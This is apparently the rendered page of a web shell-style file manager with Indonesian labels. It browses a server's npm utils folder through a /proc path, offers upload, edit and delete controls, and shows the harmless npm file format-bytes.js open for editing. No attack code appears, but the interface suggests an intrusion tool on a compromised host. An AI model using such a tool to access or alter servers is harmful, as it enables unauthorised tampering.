PATH: //proc/thread-self/root/opt/alt/alt-nodejs22/root/lib/node_modules/npm/lib/utils
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 audit-error.js
↓
X
📄 auth.js
↓
X
📄 cmd-list.js
↓
X
📄 completion.fish
↓
X
📄 completion.sh
↓
X
📄 did-you-mean.js
↓
X
📄 display.js
↓
X
📄 error-message.js
↓
X
📄 explain-dep.js
↓
X
📄 explain-eresolve.js
↓
X
📄 format-bytes.js
↓
X
📄 format-search-stream.js
↓
X
📄 format.js
↓
X
📄 get-identity.js
↓
X
📄 get-workspaces.js
↓
X
📄 installed-deep.js
↓
X
📄 installed-shallow.js
↓
X
📄 is-windows.js
↓
X
📄 log-file.js
↓
X
📄 npm-usage.js
↓
X
📄 open-url.js
↓
X
📄 output-error.js
↓
X
📄 ping.js
↓
X
📄 queryable.js
↓
X
📄 read-user-info.js
↓
X
📄 reify-finish.js
↓
X
📄 reify-output.js
↓
X
📄 sbom-cyclonedx.js
↓
X
📄 sbom-spdx.js
↓
X
📄 tar.js
↓
X
📄 timers.js
↓
X
📄 update-workspaces.js
↓
X
📄 validate-lockfile.js
↓
X
📄 verify-signatures.js
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: format-bytes.js
// Convert bytes to printable output, for file reporting in tarballs // Only supports up to GB because that's way larger than anything the registry // supports anyways. const formatBytes = (bytes, space = true) => { let spacer = '' if (space) { spacer = ' ' } if (bytes < 1000) { // B return `${bytes}${spacer}B` } if (bytes < 1000000) { // kB return `${(bytes / 1000).toFixed(1)}${spacer}kB` } if (bytes < 1000000000) { // MB return `${(bytes / 1000000).toFixed(1)}${spacer}MB` } // GB return `${(bytes / 1000000000).toFixed(1)}${spacer}GB` } module.exports = formatBytes
SIMPAN PERUBAHAN